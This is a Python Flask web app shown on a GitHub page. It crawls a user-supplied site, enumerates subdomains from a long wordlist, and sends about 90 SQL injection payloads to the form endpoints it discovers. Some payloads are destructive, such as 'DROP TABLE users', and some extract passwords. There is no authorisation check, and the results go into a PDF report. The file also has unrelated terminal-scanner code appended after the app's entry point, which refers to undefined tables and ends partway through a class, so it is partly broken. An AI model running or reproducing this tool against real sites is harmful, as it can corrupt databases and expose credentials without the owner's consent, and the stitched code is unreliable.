-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.py
1968 lines (1539 loc) · 105 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from flask import Flask, request, send_file, jsonify
from flask_cors import CORS
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
import mimetypes
from reportlab.lib.pagesizes import letter
from reportlab.lib.units import inch
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer
from datetime import datetime
import io
import sys
import argparse
import subprocess
import os
import time
import random
import threading
import re
import random
from urllib.parse import urlsplit
CURSOR_UP_ONE = '\x1b[1A'
ERASE_LINE = '\x1b[2K'
app = Flask(__name__)
CORS(app) # Enable CORS for all routes
# List of predefined subdomains
PREDEFINED_SUBDOMAINS = [
"www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "webdisk", "ns2","dev", "www2", "admin", "forum", "news", "vpn", "ns3", "mail2", "new", "mysql", "old",
"lists", "support", "mobile", "mx", "static", "docs", "beta", "shop", "sql", "secure",
"demo", "cp", "calendar", "wiki", "web", "media", "email", "images", "img", "www1",
"intranet", "portal", "video", "sip", "dns2", "api", "cdn", "stats", "dns1", "ns4",
"www3", "dns", "search", "staging", "server", "mx1", "chat", "wap", "my", "svn", "mail1",
"sites", "proxy", "ads", "host", "crm", "cms", "backup", "mx2", "lyncdiscover", "info",
"apps", "download", "remote", "db", "forums", "store", "relay", "files", "newsletter",
"app", "live", "owa", "en", "start", "sms", "office", "exchange", "ipv4", "mail3",
"help", "blogs", "helpdesk", "web1", "home", "library", "ftp2", "ntp", "monitor",
"login", "service", "correo", "www4", "moodle", "it", "gateway", "gw", "i", "stat",
"stage", "ldap", "tv", "ssl", "web2", "ns5", "upload", "nagios", "smtp2", "online",
"ad", "survey", "data", "radio", "extranet", "test2", "mssql", "dns3", "jobs", "services",
"panel", "irc", "hosting", "cloud", "de", "gmail", "s", "bbs", "cs", "ww", "mrtg",
"git", "image", "members", "poczta", "s1", "meet", "preview", "fr", "cloudflare-resolve-to",
"dev2", "photo", "jabber", "legacy", "go", "es", "ssh", "redmine", "partner", "vps",
"server1", "sv", "ns6", "webmail2", "av", "community", "cacti", "time", "sftp", "lib",
"facebook", "www5", "smtp1", "feeds", "w", "games", "ts", "alumni", "dl", "s2", "phpmyadmin",
"archive", "cn", "tools", "stream", "projects", "elearning", "im", "iphone", "control",
"voip", "test1", "ws", "rss", "sp", "wwww", "vpn2", "jira", "list", "connect", "gallery",
"billing", "mailer", "update", "pda", "game", "ns0", "testing", "sandbox", "job",
"events", "dialin", "ml", "fb", "videos", "music", "a", "partners", "mailhost",
"downloads", "reports", "ca", "router", "speedtest", "local", "training", "edu",
"bugs", "manage", "s3", "status", "host2", "ww2", "marketing", "conference", "content",
"network-ip", "broadcast-ip", "english", "catalog", "msoid", "mailadmin", "pay", "access",
"streaming", "project", "t", "sso", "alpha", "photos", "staff", "e", "auth", "v2", "web5",
"web3", "mail4", "devel", "post", "us", "images2", "master", "rt", "ftp1", "qa", "wp",
"dns4", "www6", "ru", "student", "w3", "citrix", "trac", "doc", "img2", "css", "mx3",
"adm", "web4", "hr", "mailserver", "travel", "sharepoint", "sport", "member", "bb",
"agenda", "link", "server2", "vod", "uk", "fw", "promo", "vip", "noc", "design",
"temp", "gate", "ns7", "file", "ms", "map", "cache", "painel", "js", "event", "mailing",
"db1", "c", "auto", "img1", "vpn1", "business", "mirror", "share", "cdn2", "site",
"maps", "tickets", "tracker", "domains", "club", "images1", "zimbra", "cvs", "b2b",
"oa", "intra", "zabbix", "ns8", "assets", "main", "spam", "lms", "social", "faq",
"feedback", "loopback", "groups", "m2", "cas", "loghost", "xml", "nl", "research",
"art", "munin", "dev1", "gis", "sales", "images3", "report", "google", "idp", "cisco",
"careers", "seo", "dc", "lab", "d", "firewall", "fs", "eng", "ann", "mail01", "mantis",
"v", "affiliates", "webconf", "track", "ticket", "pm", "db2", "b", "clients", "tech",
"erp", "monitoring", "cdn1", "images4", "payment", "origin", "client", "foto", "domain",
"pt", "pma", "directory", "cc", "public", "finance", "ns11", "test3", "wordpress",
"corp", "sslvpn", "cal", "mailman", "book", "ip", "zeus", "ns10", "hermes", "storage",
"free", "static1", "pbx", "banner", "mobil", "kb", "mail5", "direct", "ipfixe", "wifi",
"development", "board", "ns01", "st", "reviews", "radius", "pro", "atlas", "links",
"in", "oldmail", "register", "s4", "images6", "static2", "id", "shopping", "drupal",
"analytics", "m1", "images5", "images7", "img3", "mx01", "www7", "redirect", "sitebuilder",
"smtp3", "adserver", "net", "user", "forms", "outlook", "press", "vc", "health",
"work", "mb", "mm", "f", "pgsql", "jp", "sports", "preprod", "g", "p", "mdm", "ar",
"lync", "market", "dbadmin", "barracuda", "affiliate", "mars", "users", "images8",
"biblioteca", "mc", "ns12", "math", "ntp1", "web01", "software", "pr", "jupiter",
"labs", "linux", "sc", "love", "fax", "php", "lp", "tracking", "thumbs", "up", "tw",
"campus", "reg", "digital", "demo2", "da", "tr", "otrs", "web6", "ns02", "mailgw",
"education", "order", "piwik", "banners", "rs", "se", "venus", "internal", "webservices",
"cm", "whois", "sync", "lb", "is", "code", "click", "w2", "bugzilla", "virtual",
"origin-www", "top", "customer", "pub", "hotel", "openx", "log", "uat", "cdn3", "images0",
"cgi", "posta", "reseller", "soft", "movie", "mba", "n", "r", "developer", "nms",
"ns9", "webcam", "construtor", "ebook", "ftp3", "join", "dashboard", "bi", "wpad",
"admin2", "agent", "wm", "books", "joomla", "hotels", "ezproxy", "ds", "sa", "katalog",
"team", "emkt", "antispam", "adv", "mercury", "flash", "myadmin", "sklep", "newsite",
"law", "pl", "ntp2", "monitor", "login", "service", "correo", "www4", "moodle", "it"
]
# List of allowed file types
ALLOWED_FILE_TYPES = ["application/pdf", "text/html", "application/json"]
# List to store approved downloaded files
downloaded_files = []
# Function to check file MIME type
def check_file_type(file_url):
file_type, _ = mimetypes.guess_type(file_url)
return file_type
# Function to handle file download checking
def handle_file_download(url):
file_type = check_file_type(url)
if file_type not in ALLOWED_FILE_TYPES:
return {"status": "unwanted", "file_url": url, "file_type": file_type}
return {"status": "allowed", "file_url": url, "file_type": file_type}
# Function to scrape directories
def scrape_directories(url):
links = set()
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
for link in soup.find_all('a', href=True):
full_url = urljoin(url, link['href'])
if urlparse(full_url).netloc == urlparse(url).netloc:
links.add(full_url)
except requests.RequestException as e:
print(f"Error scraping {url}: {e}")
return links
# Function to check status of subdomains
def check_subdomain_status(base_url, subdomain):
url = f"http://{subdomain}.{base_url}"
try:
response = requests.get(url)
if response.status_code == 200:
return url
except requests.RequestException:
pass
return None
# Function to find login/signup forms
def find_login_signup_forms(url):
forms = []
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
for form in soup.find_all('form'):
action = form.get('action')
if action and any(keyword in action.lower() for keyword in ["login", "sign", "signin", "signup", "register", "auth", "authenticate", "user", "account", "password", "forgot", "reset", "username", "log", "log-in", "log-in-form", "sign-in", "sign-up","logon", "member", "new-user", "new-account", "create-account", "create-user", "signin-form","signup-form", "register-form", "join", "join-now", "access", "profile", "authentication",
"create", "start", "get-started", "verify", "confirmation", "credentials", "login-submit",
"signout", "logout", "exit", "login-btn", "signup-btn", "register-btn", "submit", "button",
"submit-btn", "continue", "form", "form-container", "submit-form", "password-reset", "reset-form",
"email", "email-address", "contact", "message", "send-message", "send", "contact-form",
"get-in-touch", "enquiry", "inquiry", "feedback", "send-feedback", "question", "ask", "help",
"support", "support-form", "helpdesk", "service", "request", "ticket", "contact-us", "reach-us",
"phone", "phone-number", "fax", "address", "location", "post", "mail", "write", "form-field",
"textbox", "textarea", "submit-button", "send-button", "action", "reply", "respond", "ask-question",
"query", "lookup", "find", "search", "search-box", "search-form", "search-button", "find-results",
"submit-search", "join-newsletter", "subscribe", "subscription", "subscribe-form", "sign-up-for-news",
"join-us", "newsletter", "get-updates", "email-subscribe", "subscribe-now", "sign-up-now", "subscribe-btn",
"email-updates", "get-notified", "newsletter-signup", "newsletter-subscribe", "opt-in", "email-opt-in",
"unsubscribe", "unsubscribe-link", "update-preferences", "notification", "notifications", "sms",
"phone-verification", "verify-phone", "otp", "pin", "code", "2fa", "two-factor", "security", "captcha",
"recaptcha", "challenge", "image-challenge", "human-verification", "security-question", "answer", "hint",
"hint-question", "confirmation-email", "verify-email", "link", "confirm", "continue-button", "verify-button",
"proceed", "send-verification", "verify-now", "activate", "activation", "phone-auth", "email-auth",
"multi-factor", "mfa", "multi-factor-auth", "send-otp", "get-code", "receive-code", "password-confirmation",
"password-match", "re-enter-password", "confirm-password", "new-password", "old-password", "reset-password",
"password-update", "change-password", "update-password", "password-strength", "strong-password", "weak-password",
"security-check", "secure", "secure-auth", "trusted", "secure-login", "strong-auth", "access-code", "sign-up-here",
"login-here", "log-in-here", "register-here", "create-account-here", "create-your-account", "make-an-account",
"new-user-registration", "register-now", "complete-registration", "begin-registration", "registration-form",
"form-control", "submit-registration", "accept", "agree", "consent", "terms", "accept-terms", "agree-terms",
"terms-and-conditions", "privacy-policy", "confirm-terms", "captcha-check", "verify-you-are-human", "not-a-robot",
"identity-verification", "personal-details", "profile-details", "basic-info", "user-info", "first-name",
"last-name", "full-name", "birthdate", "dob", "age", "gender", "male", "female", "non-binary", "other",
"email-verification", "verify-your-email", "validate-email", "address-details", "country", "state", "zip-code",
"postal-code", "city", "phone-number", "mobile-number", "country-code", "area-code", "verify-mobile", "phone-auth",
"mobile-verification", "identity", "social-login", "login-with-google", "login-with-facebook", "login-with-twitter",
"social-signin", "social-authentication", "oauth", "authorize", "authorize-access", "allow-access", "grant-access",
"request-permission", "login-via", "signin-via", "signup-via", "sign-up-via", "login-social", "forgot-password",
"retrieve-password", "recover-password", "recover", "get-password", "send-reset-link", "password-reset-link",
"reset-link", "generate-link", "confirm-link", "receive-reset-link", "sms-verification", "verify-sms", "phone-auth",
"update-phone", "change-phone", "update-email", "change-email", "change-address", "save-changes", "apply-changes",
"update-details", "edit-details", "edit-profile", "profile-update", "update-profile", "personal-info", "account-info",
"form-submit", "input-field", "field", "radio-button", "checkbox", "dropdown", "select", "option", "submit-query",
"form-submit-btn", "submit-request", "submit-feedback", "send-request", "send-query", "send-inquiry", "ask-us",
"ask-question-now", "get-help", "submit-help", "get-support", "support-query", "help-query", "ask-support",
"form-response", "response", "message-us", "email-us", "reach-out", "form-send", "order-form", "booking-form",
"request-info", "appointment-form", "reservation-form", "booking", "appointment", "reservation", "submit-order",
"order-now", "order-submission", "make-a-booking", "reserve", "submit-reservation", "order", "place-order",
"request-appointment", "schedule-appointment", "set-appointment", "schedule", "request-callback", "callback-form",
"schedule-callback", "submit-callback", "file-upload", "file-upload-form", "submit-documents", "upload", "upload-file",
"upload-doc", "send-file", "send-document", "attach", "attachment", "add-attachment", "send-attachment",
"browse-file", "choose-file", "select-file", "upload-photo", "upload-picture", "upload-image", "upload-application",
"submit-application", "application-form", "apply-now", "job-application", "careers", "submit-cv", "upload-cv",
"upload-resume", "resume-upload", "apply-online", "submit-job", "job-request", "apply-for-position", "apply-for-job",
"submit-application", "job-form", "online-application", "submit-cv-form", "submit-resume-form", "apply-here",
"apply-today"]):
forms.append(urljoin(url, action))
except requests.RequestException as e:
print(f"Error finding forms in {url}: {e}")
return forms
# Function to perform SQL injection
def perform_sql_injection(url, form_action):
payloads = [
("' OR '' = '", "Attempts to bypass authentication by injecting a condition that is always true."),
("' OR 1=1 --", "Classic SQL injection payload that often returns all records from the database."),
("'; DROP TABLE users --", "Payload that attempts to drop a database table."),
("' UNION SELECT password FROM users --", "Payload that attempts to retrieve passwords from the database."),
("'='", "This payload tries to trick the query into accepting the input as a valid condition."),
("'LIKE'", "Tests if the SQL query is vulnerable to a LIKE clause, often used in wildcards."),
("=0--+", "Attempts to bypass by terminating the query and adding a comment."),
(" OR 1=1", "Classic SQL injection that always returns true, bypassing any logical checks."),
("' OR 'x'='x", "Bypasses authentication by injecting a condition that is always true."),
("' AND id IS NULL; --", "Attempts to exploit null conditions in the query logic."),
("'''''''''''''UNION SELECT '2", "Uses excessive quotes to attempt to bypass input sanitization."),
("%00", "Null byte injection, used to terminate strings prematurely in some databases."),
("/*…*/", "This payload uses SQL comments to bypass restrictions or manipulate logic."),
("+", "Tests for SQL concatenation vulnerabilities, often used in UNION or SELECT queries."),
("||", "Checks if the database supports string concatenation via the double-pipe operator."),
("%", "Tests for wildcard characters that might bypass query logic."),
("@variable", "Attempts to exploit SQL variables to manipulate the query."),
("@@variable", "Tests for vulnerabilities related to server-level variables."),
("AND 1", "Attempts to inject a true condition, testing for basic logical vulnerabilities."),
("AND 0", "Tests if false logical conditions are handled properly."),
("AND true", "Tries to inject a true boolean condition to manipulate the query."),
("AND false", "Attempts to break the logic by injecting a false condition."),
("1-false", "Tests for vulnerabilities by manipulating boolean values in the query."),
("1-true", "Tests if the query allows manipulation of boolean values."),
("1*56", "Attempts to manipulate mathematical operations in the query."),
("-2", "Injects a negative number to test for vulnerabilities in numeric fields."),
("1' ORDER BY 1--+", "Orders the results by the first column, which can reveal data structure."),
("1' ORDER BY 2--+", "Orders the results by the second column, probing for more information."),
("1' ORDER BY 3--+", "Continues to probe for available columns."),
("1' ORDER BY 1,2--+", "Orders by multiple columns to test for vulnerabilities."),
("1' ORDER BY 1,2,3--+", "Further tests column enumeration and query structure."),
("1' GROUP BY 1,2,--+", "Groups results by multiple columns to manipulate query logic."),
("1' GROUP BY 1,2,3--+", "Tests grouping vulnerabilities in the database query."),
("' GROUP BY columnnames having 1=1 --", "Attempts to exploit HAVING clauses for injection."),
("-1' UNION SELECT 1,2,3--+", "Union-based injection, attempting to select additional columns."),
("' UNION SELECT sum(columnname) from tablename --", "Tests for arithmetic operations in the SQL query."),
("-1 UNION SELECT 1 INTO @,@", "Attempts to insert results into user-defined variables."),
("-1 UNION SELECT 1 INTO @,@,@", "Similar to the previous, but with three variables."),
("1 AND (SELECT * FROM Users) = 1", "Injects a subquery to access sensitive data like user tables."),
("' AND MID(VERSION(),1,1) = '5';", "Probes for the version of the SQL database."),
("' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --", "Attempts to query database metadata."),
(",(select * from (select(sleep(10)))a)", "Tests for time-based SQL injection (delaying response)."),
("%2c(select%20*%20from%20(select(sleep(10)))a)", "URL-encoded version of the sleep-based time delay injection."),
("';WAITFOR DELAY '0:0:30'--", "Time-delay attack to test if the query pauses for the specified time."),
(" OR 1=1", "Classic boolean-based injection, making the query always true."),
(" OR 1=0", "Tests the opposite scenario, making the query always false."),
(" OR x=x", "Checks for identical comparisons to always return true."),
(" OR x=y", "Checks if non-identical comparisons will throw errors or vulnerabilities."),
(" OR 1=1#", "Comment-based bypass, ensuring the injected part is always true."),
(" OR 1=0#", "Similar to the previous but tests for false logic."),
(" OR x=x#", "Tests comment-based injections with boolean true logic."),
(" OR x=y#", "Tests false boolean logic in comment-based injection."),
(" OR 1=1--", "Tests injection by terminating the query and adding a comment."),
(" OR 1=0--", "Tests for false condition injection with query termination."),
(" OR x=x--", "Checks if identical conditions in the injection work as expected."),
(" OR x=y--", "Tests non-identical conditions in comment-based injections."),
(" OR 3409=3409 AND ('pytW' LIKE 'pytW'", "Checks for a true condition using the LIKE operator."),
(" OR 3409=3409 AND ('pytW' LIKE 'pytY'", "Checks for a false condition using the LIKE operator."),
("HAVING 1=1", "Injects into HAVING clauses to bypass group filtering."),
("HAVING 1=0", "Injects into HAVING clauses with a false condition."),
("HAVING 1=1#", "Tests for comment-based injection within the HAVING clause."),
("HAVING 1=0#", "Tests false logic in comment-based HAVING injections."),
("HAVING 1=1--", "Injects true conditions in HAVING clauses and terminates the query."),
("HAVING 1=0--", "Injects false conditions in HAVING clauses and terminates the query."),
("AND 1=1", "Simple true condition to manipulate logic."),
("AND 1=0", "False condition to manipulate the logic flow."),
("AND 1=1--", "True condition injection with query termination."),
("AND 1=0--", "False condition injection with query termination."),
("AND 1=1#", "True condition injection with comment-based termination."),
("AND 1=0#", "False condition injection with comment-based termination."),
("AND 1=1 AND '%'='", "True condition injection using wildcards."),
("AND 1=0 AND '%'='", "False condition injection using wildcards."),
("AND 1083=1083 AND (1427=1427", "Tests for multiple true numeric conditions."),
("AND 7506=9091 AND (5913=5913", "Tests false and true conditions together."),
("AND 1083=1083 AND ('1427=1427", "Checks for vulnerabilities with string comparisons."),
("AND 7506=9091 AND ('5913=5913", "Tests for injection with a mix of false and true conditions."),
("AND 7300=7300 AND 'pKlZ'='pKlZ", "Tests string comparisons for always true conditions."),
("AND 7300=7300 AND 'pKlZ'='pKlY", "Tests string comparisons for always false conditions."),
("AS INJECTX WHERE 1=1 AND 1=1", "Tests true conditions in WHERE clauses."),
("AS INJECTX WHERE 1=1 AND 1=0", "Tests false conditions in WHERE clauses."),
("WHERE 1=1 AND 1=1--", "Tests WHERE clause injection with termination."),
("WHERE 1=1 AND 1=0--", "Tests false logic in WHERE clauses."),
("ORDER BY 1--", "Orders by the first column, probing for SQL injection points."),
("ORDER BY 2--", "Orders by the second column."),
("ORDER BY 31337#", "Tests for large numbers in ORDER BY clauses."),
("RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END))", "Tests RLIKE condition for true."),
("IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--", "Tests for conditional logic within SQL."),
("%' AND 8310=8310 AND '%'='", "Tests for wildcard handling in SQL queries."),
("and (select substring(@@version,1,1))='X'", "Probes for the SQL version to understand the database.")
]
vulnerabilities = []
for payload, reason in payloads:
test_url = f"{form_action}?test={payload}"
try:
response = requests.get(test_url)
if "sql" in response.text.lower() or "error" in response.text.lower():
vulnerabilities.append((payload, reason))
except requests.RequestException:
pass
return (url, vulnerabilities) if vulnerabilities else (url, [])
# Function to generate the PDF report
def generate_report(vulnerabilities, main_domain_links, subdomain_links, stream):
doc = SimpleDocTemplate(stream, pagesize=letter)
story = []
styles = getSampleStyleSheet()
# Title
title_style = styles['Title']
story.append(Paragraph("Security Assessment Report", title_style))
story.append(Spacer(1, 0.25 * inch))
# Date
date_style = styles['Normal']
date_text = "Date of Assessment: " + str(datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
story.append(Paragraph(date_text, date_style))
story.append(Spacer(1, 0.25 * inch))
# Vulnerabilities Found
if vulnerabilities:
heading_style = ParagraphStyle(name='Heading1', fontName='Helvetica-Bold', fontSize=14, spaceAfter=10)
story.append(Paragraph("Vulnerabilities Found", heading_style))
text_style = styles['Normal']
for url, payloads in vulnerabilities:
story.append(Paragraph(f"Possible SQL Injection vulnerability at {url}", text_style))
for payload, reason in payloads:
story.append(Paragraph(f"Payload: {payload}", text_style))
story.append(Paragraph(f"Reason: {reason}", text_style))
story.append(Paragraph("Remedies and Precautionary Measures:", text_style))
story.append(Paragraph("- Validate and sanitize input parameters in SQL queries.", text_style))
story.append(Paragraph("- Use parameterized queries to prevent injection attacks.", text_style))
story.append(Spacer(1, 0.1 * inch))
story.append(Spacer(1, 0.25 * inch))
else:
story.append(Paragraph("No vulnerabilities found", styles['Normal']))
# Discovered Links for Main Domain
heading_style = ParagraphStyle(name='Heading1', fontName='Helvetica-Bold', fontSize=14, spaceAfter=10)
story.append(Paragraph("Main Domain Links", heading_style))
text_style = styles['Normal']
for link in main_domain_links:
story.append(Paragraph(f'<a href="{link}" color="blue">{link}</a>', text_style))
# Discovered Links for Subdomains
story.append(Paragraph("Subdomain Links", heading_style))
for subdomain, links in subdomain_links.items():
story.append(Paragraph(f"Subdomain: {subdomain}", heading_style))
for link in links:
story.append(Paragraph(f'<a href="{link}" color="blue">{link}</a>', text_style))
doc.build(story)
@app.route('/generate_report', methods=['POST'])
def generate_report_api():
try:
user_url = request.json.get('url')
if not user_url:
return jsonify({"error": "URL is required"}), 400
# Scrape links for the main domain
main_domain_links = scrape_directories(user_url)
domain = urlparse(user_url).netloc
subdomain_links = {}
# Check each predefined subdomain
for subdomain in PREDEFINED_SUBDOMAINS:
status_url = check_subdomain_status(domain, subdomain)
if status_url:
subdomain_links[status_url] = scrape_directories(status_url)
vulnerabilities = []
# Perform SQL injection tests
for link in main_domain_links:
forms = find_login_signup_forms(link)
for form in forms:
vulnerability = perform_sql_injection(link, form)
if vulnerability[1]:
vulnerabilities.append(vulnerability)
pdf_stream = io.BytesIO()
generate_report(vulnerabilities, main_domain_links, subdomain_links, pdf_stream)
pdf_stream.seek(0)
return send_file(pdf_stream, as_attachment=True, download_name='report.pdf', mimetype='application/pdf')
except Exception as e:
print(f"Error generating report: {e}")
return jsonify({"error": "An error occurred while generating the report"}), 500
@app.route('/check_file_download', methods=['POST'])
def check_file_download():
try:
file_url = request.json.get('file_url')
result = handle_file_download(file_url)
return jsonify(result)
except Exception as e:
return jsonify({"error": "An error occurred while checking the file"}), 500
@app.route('/add_downloaded_file', methods=['POST'])
def add_downloaded_file():
try:
file_url = request.json.get('file_url')
downloaded_files.append(file_url)
return jsonify({"status": "success"}), 200
except Exception as e:
return jsonify({"error": "An error occurred while adding the file"}), 500
if __name__ == '__main__':
app.run(debug=True)
# Scan Time Elapser
intervals = (
('h', 3600),
('m', 60),
('s', 1),
)
def display_time(seconds, granularity=3):
result = []
seconds = seconds + 1
for name, count in intervals:
value = seconds // count
if value:
seconds -= value * count
result.append("{}{}".format(value, name))
return ' '.join(result[:granularity])
def terminal_size():
try:
rows, columns = subprocess.check_output(['stty', 'size']).split()
return int(columns)
except subprocess.CalledProcessError as e:
return int(20)
def url_maker(url):
if not re.match(r'http(s?)\:', url):
url = 'http://' + url
parsed = urlsplit(url)
host = parsed.netloc
if host.startswith('www.'):
host = host[4:]
return host
def check_internet():
os.system('ping -c1 github.com > rs_net 2>&1')
if "0% packet loss" in open('rs_net').read():
val = 1
else:
val = 0
os.system('rm rs_net > /dev/null 2>&1')
return val
# Initializing the color module class
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
BADFAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
BG_ERR_TXT = '\033[41m' # For critical errors and crashes
BG_HEAD_TXT = '\033[100m'
BG_ENDL_TXT = '\033[46m'
BG_CRIT_TXT = '\033[45m'
BG_HIGH_TXT = '\033[41m'
BG_MED_TXT = '\033[43m'
BG_LOW_TXT = '\033[44m'
BG_INFO_TXT = '\033[42m'
BG_SCAN_TXT_START = '\x1b[6;30;42m'
BG_SCAN_TXT_END = '\x1b[0m'
# Classifies the Vulnerability's Severity
def vul_info(val):
result =''
if val == 'c':
result = bcolors.BG_CRIT_TXT+" critical "+bcolors.ENDC
elif val == 'h':
result = bcolors.BG_HIGH_TXT+" high "+bcolors.ENDC
elif val == 'm':
result = bcolors.BG_MED_TXT+" medium "+bcolors.ENDC
elif val == 'l':
result = bcolors.BG_LOW_TXT+" low "+bcolors.ENDC
else:
result = bcolors.BG_INFO_TXT+" info "+bcolors.ENDC
return result
# Legends
proc_high = bcolors.BADFAIL + "●" + bcolors.ENDC
proc_med = bcolors.WARNING + "●" + bcolors.ENDC
proc_low = bcolors.OKGREEN + "●" + bcolors.ENDC
# Links the vulnerability with threat level and remediation database
def vul_remed_info(v1,v2,v3):
print(bcolors.BOLD+"Vulnerability Threat Level"+bcolors.ENDC)
print("\t"+vul_info(v2)+" "+bcolors.WARNING+str(tool_resp[v1][0])+bcolors.ENDC)
print(bcolors.BOLD+"Vulnerability Definition"+bcolors.ENDC)
print("\t"+bcolors.BADFAIL+str(tools_fix[v3-1][1])+bcolors.ENDC)
print(bcolors.BOLD+"Vulnerability Remediation"+bcolors.ENDC)
print("\t"+bcolors.OKGREEN+str(tools_fix[v3-1][2])+bcolors.ENDC)
# busybees Help Context
def helper():
print(bcolors.OKBLUE+"Information:"+bcolors.ENDC)
print("------------")
print("\t./busybees.py example.com: Scans the domain example.com.")
print("\t./busybees.py example.com --skip dmitry --skip theHarvester: Skip the 'dmitry' and 'theHarvester' tests.")
print("\t./busybees.py example.com --nospinner: Disable the idle loader/spinner.")
print("\t./busybees.py --update : Updates the scanner to the latest version.")
print("\t./busybees.py --help : Displays this help context.")
print(bcolors.OKBLUE+"Interactive:"+bcolors.ENDC)
print("------------")
print("\tCtrl+C: Skips current test.")
print("\tCtrl+Z: Quits Busybees.")
print(bcolors.OKBLUE+"Legends:"+bcolors.ENDC)
print("--------")
print("\t["+proc_high+"]: Scan process may take longer times (not predictable).")
print("\t["+proc_med+"]: Scan process may take less than 10 minutes.")
print("\t["+proc_low+"]: Scan process may take less than a minute or two.")
print(bcolors.OKBLUE+"Vulnerability Information:"+bcolors.ENDC)
print("--------------------------")
print("\t"+vul_info('c')+": Requires immediate attention as it may lead to compromise or service unavailability.")
print("\t"+vul_info('h')+" : May not lead to an immediate compromise, but there are considerable chances for probability.")
print("\t"+vul_info('m')+" : Attacker may correlate multiple vulnerabilities of this type to launch a sophisticated attack.")
print("\t"+vul_info('l')+" : Not a serious issue, but it is recommended to tend to the finding.")
print("\t"+vul_info('i')+" : Not classified as a vulnerability, simply an useful informational alert to be considered.\n")
# Clears Line
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K") #clears until EOL
# busybees Logo
def logo():
print(bcolors.WARNING)
logo_ascii = """"""
print(logo_ascii)
print(bcolors.ENDC)
# Initiliazing the idle loader/spinner class
class Spinner:
busy = False
delay = 0.005 # 0.05
@staticmethod
def spinning_cursor():
while 1:
#for cursor in '|/-\\/': yield cursor #←↑↓→
#for cursor in '←↑↓→': yield cursor
#for cursor in '....scanning...please..wait....': yield cursor
for cursor in ' ': yield cursor
def __init__(self, delay=None):
